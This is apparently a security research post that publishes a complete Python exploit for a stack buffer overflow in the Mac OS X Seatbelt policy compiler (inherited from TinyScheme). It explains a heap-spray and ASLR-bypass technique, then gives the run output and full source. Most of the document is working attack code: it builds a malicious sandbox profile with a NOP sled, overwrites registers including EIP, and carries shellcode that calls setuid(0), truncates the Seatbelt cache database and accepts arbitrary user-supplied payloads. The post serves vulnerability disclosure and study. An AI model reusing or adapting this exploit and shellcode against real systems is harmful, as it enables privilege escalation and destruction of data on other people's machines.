SharpSeatbelt: Stack-based Buffer Overflow Exploit for the Mac OS X Seatbelt policy compiler

Table of contents

Published on:
2008-12-08 05:19:34 +0000 UTC
Last modified:
2022-08-22 10:00:56 +0000 UTC

This exploit was not released for 14 years, originally written when Subreption performed significant vulnerability research targeting the Mac OS X operating system.

The original vulnerability impacted the TinyScheme interpreter, which Apple copied in full and integrated it into the Seatbelt compiler (Seatbelt is the security framework akin to AppArmor in Linux), inheriting the vulnerability.

Eventually, upstream fixed the vulnerability and Apple silently patched it. No CVE was ever assigned.

Interesting tidbits about the exploit include:

  • A completely novel way to target Scheme interpreters, accelerating the allocation of the memory sections used by the exploit by leveraging the optimized calls to memset(), via make-string. The make-string API offers a “allocate X amount of data, initialize to N value” primitive that the exploit leverages to perform heap spray-like functionality with NOP sleds. Conveniently, similar primitives can be used to attack other interpreters and virtual machines, so as long as the call hierarchy can be reverse engineered to detect which APIs yield access to specific OS interfaces that can directly manipulate memory (the “alloc, memset, memcpy” trifecta).
  • A novel technique (at the time, so far not seen publicly released by anybody else) to abuse the handling of MALLOC_HUGE areas by the OS X user-land heap allocator, to achieve 100% reliable code execution with a predictable ASCII address where shellcode was placed, for 32-bit targets. Address Space Layout Randomization (ASLR) was always considered broken as a mitigation for 32-bit architectures, because of the constrained address space, limiting entropy in practice to values that provided negligible security benefits.

The output from the exploit, which originally executed shellcode (as a proof of concept) thrashing the Seatbelt cache database and printed the company logo to the system logs, is included below:

[*] Copyright (C) 2008 Subreption LLC. All rights reserved.
[*] Prepending setuid(0) shellcode stub.
[*] Prepending truncate(3, 0) shellcode stub.
[!] NOTE: this will truncate the current Seatbelt cache db.
[*] Using raw shellcode at subreptionascii_shellcode (553 bytes).
[*] Appending exit(0) shellcode stub.
[*] Converting shellcode to Scheme string sequences...
 sc0 (64 bytes to 390 bytes).
 sc1 (64 bytes to 384 bytes).
 sc2 (64 bytes to 384 bytes).
 sc3 (64 bytes to 384 bytes).
 sc4 (64 bytes to 384 bytes).
 sc5 (64 bytes to 384 bytes).
 sc6 (64 bytes to 384 bytes).
 sc7 (64 bytes to 384 bytes).
 sc8 (64 bytes to 384 bytes).
 sc9 (11 bytes to 66 bytes).
[*] Done, shellcode is 588 bytes long.
[*] Shellcode segments: sc0 sc1 sc2 sc3 sc4 sc5 sc6 sc7 sc8 sc9.
[*] Heap filler: 256M, with NOPs.
 EBX register set to 0x10104343
 ESI register set to 0x10105858
 EDI register set to 0x10104646
 EBP register set to 0xdeadbeef
 EIP register set to 0x10101010
[*] Writing 4213 bytes to profile exploit.
[*] Done.
[+] Test with: sandbox-exec -f seatbelt_sharp_exploit.sp /bin/date


Dec  8 04:52:07 serpent com.apple.seatbelt.compiler[3545]:                __                    __  _                ____
Dec  8 04:52:07 serpent com.apple.seatbelt.compiler[3545]:    _______  __/ /_  ________  ____  / /_(_)___  ____     / / /____
Dec  8 04:52:07 serpent com.apple.seatbelt.compiler[3545]:   / ___/ / / / __ \/ ___/ _ \/ __ \/ __/ / __ \/ __ \   / / / ___/
Dec  8 04:52:07 serpent com.apple.seatbelt.compiler[3545]:  (__  ) /_/ / /_/ / /  /  __/ /_/ / /_/ / /_/ / / / /  / / / /__
Dec  8 04:52:07 serpent com.apple.seatbelt.compiler[3545]: /____/\__,_/_.___/_/   \___/ .___/\__/_/\____/_/ /_/  /_/_/\___/
Dec  8 04:52:07 serpent com.apple.seatbelt.compiler[3545]:        "Abandon all hope, /_/  ye who enter here."
Dec  8 04:52:07 serpent com.apple.launchd[118] (com.apple.seatbelt.compiler[3545]): Exited with exit code: 1

The source code for the exploit is included below:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#
# Copyright (C) 2008 Subreption LLC. All rights reserved.
# Author: Larry H <[email protected]>
#

import sys
import os
import struct

class SeatbeltParserSharpExploit(object):
    """
    This class builds a profile to exploit the Mac OS X
    Seatbelt policy compiler stack-based buffer overflow in sharp
    constant processing.
    """
    def __init__(self):
        super(SeatbeltParserSharpExploit, self).__init__()
        self.linesize       = 1024
        self.shellcode      = ''
    
    def set_shellcode(self, sc):
        """
        This prefix stub does the following:
            - Fixes EBP with ascii address at MALLOC_HUGE.
            - Resets registersto zero.
            - Sets ECX to start address of shellcode to support Alpha
              encoded shellcode.
            - Sets EAX to start address of MALLOC_HUGE region.
            - Sets EDX to EAX + 8192.
        
        Source:
            00000000  BD43424120        mov ebp,0x20414243
            00000005  31C0              xor eax,eax
            00000007  31C9              xor ecx,ecx
            00000009  31D2              xor edx,edx
            0000000B  B911100021        mov ecx,0x21001011
            00000010  B810101010        mov eax,0x10101010
            00000015  BA10301010        mov edx,0x10103010 
        """
        self.shellcode = ''
        self.shellcode += '\xBD\x43\x42\x41\x20'
        self.shellcode += '\x31\xC0'
        self.shellcode += '\x31\xC9'
        self.shellcode += '\x31\xD2'
        self.shellcode += '\xB9\x11\x10\x00\x21'
        self.shellcode += '\xB8\x10\x10\x10\x10'
        self.shellcode += '\xBA\x10\x30\x10\x10'
        self.shellcode += sc
    
    def make_shellcode(self, sc):
        segments = []
        nchars = 0
        segnum = 0
        tmpbuf = ''
        
        print('[*] Converting shellcode to Scheme string sequences...')
        
        offset = 0
        while offset < len(sc):
            # make char a sharp hex constant
            tmpbuf += ' #\\x%02x' % (ord(sc[offset]))
            
            # check if remaining data < 16 or chars > 16
            if nchars == 64 or (len(sc) - offset) == 1:
                print(' sc%d (%d bytes to %d bytes).' % (segnum, nchars, len(tmpbuf)))
                segments.append('(define sc%d (string %s))\n' % (segnum, tmpbuf.strip()))
                nchars = 0
                tmpbuf = ''
                segnum += 1
            
            nchars += 1
            offset += 1
        
        print('[*] Done, shellcode is %d bytes long.' % (len(sc)))
        
        result = ''
        tmpbuf = ''
        offset = 0
        for segment in segments:
            result += segment
            tmpbuf += 'sc%d ' % (offset)
            offset += 1
        
        print('[*] Shellcode segments: %s.' % (tmpbuf.strip()))
        
        result += '(define shellcode (string-append %s))\n' % (tmpbuf.strip())
        return result
    
    def make_spray_call(self, shellcode, size = 256):
        """
        A MALLOC_HUGE region is allocated via make-string with appended
        shellcode segments. This bypasses length limitation.
        
        make-string initializes the allocated memory with a NOP sled, using
        memset. It takes a very short time because of optimization. The
        256M size is optimal and yields 100% reliable and stable location
        at the start of a unique MALLOC_HUGE region. No other HUGE regions
        exist in the process.
        
        Because we translate the raw shellcode to sequences of concatenated
        strings made of sharp hexadecimal constants, there's no shellcode
        size limit whatsoever.
        """
        vmsize = size * (1024 * 1024) # MB
        scline = self.make_shellcode(shellcode)
        
        print('[*] Heap filler: %dM, with NOPs.' % (vmsize / (1024 * 1024)))
        
        scsled = scline
        scsled += '(define sled ('
        scsled += 'string-append (make-string %d #\\x90) ' % (vmsize)
        scsled += 'shellcode))\n'
         
        return scsled
    
    def make_profile(self):
        profile = '(version 1)\n'
        profile += self.make_spray_call(self.shellcode)
        
        regs = (
            ('ebx', 0x10104343),
            ('esi', 0x10105858), 
            ('edi', 0x10104646),
            ('ebp', 0xdeadbeef),
            ('eip', 0x10101010) # lands at MALLOC_HUGE
        )
        
        rgstate = ''
        for reg, value in regs:
            print(' %s register set to 0x%x' % (reg.upper(), value))
            rgstate += struct.pack('<L', value)
        
        payload = ''
        payload += 'A' * 271
        payload += rgstate
        
        profile += '(define ABCD #o%s)\n' % (payload)
        
        return profile

if __name__ == '__main__':
    print('[*] Copyright (C) 2008 Subreption LLC. All rights reserved.')
    
    exploit = SeatbeltParserSharpExploit()
    
    sc = ''
    #sc += '\xCC' # first int3 trap - uncomment for debugging
    
    print('[*] Prepending setuid(0) shellcode stub.')
    sc += "\x31\xC0" # xorl  %eax, %eax
    sc += '\x50'     # pushl %eax
    sc += '\x50'     # pushl %eax
    sc += '\xB0\x17' # movb  $0x17,%al
    sc += '\xCD\x80' # int   $0x80
    
    write_ascii_art_sc = \
    '\xB8\xB8\xE2\x99\xF5\x35\xDD\xCC\xBB\xFF\x50\x68\x20\x68' \
    '\x65\x72\x68\x6E\x74\x65\x72\x68\x68\x6F\x20\x65\x68\x79' \
    '\x65\x20\x77\x68\x5F\x2F\x20\x20\x68\x65\x2C\x20\x2F\x68' \
    '\x20\x68\x6F\x70\x68\x20\x61\x6C\x6C\x68\x6E\x64\x6F\x6E' \
    '\x68\x22\x41\x62\x61\x68\x20\x20\x20\x20\x68\x0A\x20\x20' \
    '\x20\x68\x5F\x5F\x5F\x2F\x68\x2F\x5F\x2F\x5C\x68\x20\x20' \
    '\x2F\x5F\x68\x20\x2F\x5F\x2F\x68\x5F\x2F\x5F\x2F\x68\x5C' \
    '\x5F\x5F\x5F\x68\x5F\x2F\x5F\x2F\x68\x5F\x2F\x5C\x5F\x68' \
    '\x20\x2E\x5F\x5F\x68\x5F\x5F\x5F\x2F\x68\x20\x20\x20\x5C' \
    '\x68\x5F\x2F\x5F\x2F\x68\x5F\x2E\x5F\x5F\x68\x5F\x2C\x5F' \
    '\x2F\x68\x5F\x2F\x5C\x5F\x68\x2F\x5F\x5F\x5F\x68\x2F\x5F' \
    '\x5F\x0A\x68\x2F\x20\x2F\x20\x68\x20\x20\x2F\x20\x68\x20' \
    '\x2F\x20\x2F\x68\x20\x2F\x20\x2F\x68\x20\x2F\x5F\x2F\x68' \
    '\x5F\x2F\x20\x2F\x68\x20\x2F\x20\x2F\x68\x20\x2F\x5F\x2F' \
    '\x68\x20\x5F\x5F\x2F\x68\x20\x20\x2F\x20\x68\x20\x2F\x20' \
    '\x2F\x68\x20\x2F\x5F\x2F\x68\x5F\x2F\x20\x2F\x68\x20\x29' \
    '\x20\x2F\x68\x28\x5F\x5F\x20\x68\x5F\x2F\x0A\x20\x68\x2F' \
    '\x20\x5F\x5F\x68\x2F\x20\x2F\x20\x68\x5C\x20\x20\x20\x68' \
    '\x20\x5F\x5F\x20\x68\x5F\x20\x5C\x2F\x68\x20\x2F\x20\x5F' \
    '\x68\x20\x5F\x5F\x2F\x68\x5F\x20\x5C\x2F\x68\x5C\x2F\x20' \
    '\x5F\x68\x2F\x20\x5F\x20\x68\x20\x5F\x5F\x5F\x68\x5F\x20' \
    '\x5C\x2F\x68\x20\x2F\x20\x5F\x68\x20\x2F\x20\x2F\x68\x5F' \
    '\x5F\x5F\x2F\x68\x20\x20\x2F\x20\x68\x5F\x5F\x5F\x0A\x68' \
    '\x2F\x20\x2F\x5F\x68\x20\x20\x2F\x20\x68\x5F\x20\x20\x20' \
    '\x68\x20\x5F\x5F\x5F\x68\x5F\x5F\x5F\x20\x68\x5F\x28\x5F' \
    '\x29\x68\x20\x2F\x20\x2F\x68\x5F\x5F\x5F\x20\x68\x5F\x20' \
    '\x20\x5F\x68\x5F\x5F\x5F\x5F\x68\x20\x5F\x5F\x5F\x68\x20' \
    '\x2F\x5F\x20\x68\x20\x5F\x5F\x2F\x68\x5F\x5F\x5F\x20\x68' \
    '\x5F\x5F\x5F\x5F\x68\x0A\x20\x20\x20\x68\x5F\x5F\x5F\x5F' \
    '\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20' \
    '\x20\x68\x20\x20\x20\x20\x68\x5F\x20\x20\x5F\x68\x20\x20' \
    '\x20\x5F\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20' \
    '\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x5F\x5F\x20\x68' \
    '\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20' \
    '\x68\x0A\x0A\x20\x20\x89\xE3\xB8\xFF\xFF\xFF\xFF\x35\x83' \
    '\xFE\xFF\xFF\x50\x53\x6A\x01\x31\xC0\xB0\x04\x50\xCD\x80' \
    '\xB8\xFF\xFF\xFF\xFF\x35\x83\xFE\xFF\xFF\x50\x53\x6A\x03' \
    '\x31\xC0\xB0\x04\x50\xCD\x80\x31\xC0\xB0\x01\x50\x50\xCD' \
    '\x80'
    
    try:
        scfile = open(sys.argv[1])
        sc += scfile.read()
        scfile.close()
        print('[*] Using raw shellcode at %s (%d bytes).' % (sys.argv[1], len(sc)))
        
        print('[*] Appending exit(0) shellcode stub.')
        sc += '\x31\xC0' # xorl  %eax, %eax
        sc += '\x50'     # pushl %eax
        sc += '\xB0\x01' # movb  $0x01,%al
        sc += '\xCD\x80' # int   $0x80
        sc += '\xC9'     # leave
        sc += '\xC3'     # ret
    except:
        print('[!] No external raw shellcode provided.')
        
        print('[*] Prepending truncate(3, 0) shellcode stub.')
        print('[!] NOTE: this will truncate the current Seatbelt cache db.')
        sc += "\x31\xC0" # xorl  %eax, %eax
        sc += '\xB0\x03' # movb  $0x3, %al
        sc += '\x50'     # pushl %eax
        sc += "\x31\xC0" # xorl  %eax, %eax
        sc += '\x50'     # pushl %eax
        sc += '\xB0\xC9' # movb  $201, %al
        sc += '\xCD\x80' # int   $0x80
        
        print('[*] Appending Subreption LLC ASCII logo write shellcode.')
        print('[*] NOTE: Check seatbelt-cache.db contents after exploit.')
        sc += write_ascii_art_sc
        pass
    
    exploit.set_shellcode(sc)
    profile = exploit.make_profile()
    
    print('[*] Writing %d bytes to profile exploit.' % (len(profile)))
    
    out = open('seatbelt_sharp_exploit.sp', 'wb')
    out.truncate()
    out.write(profile)
    out.close()
    
    print('[*] Done.')
    print('[+] Test with: sandbox-exec -f seatbelt_sharp_exploit.sp /bin/date')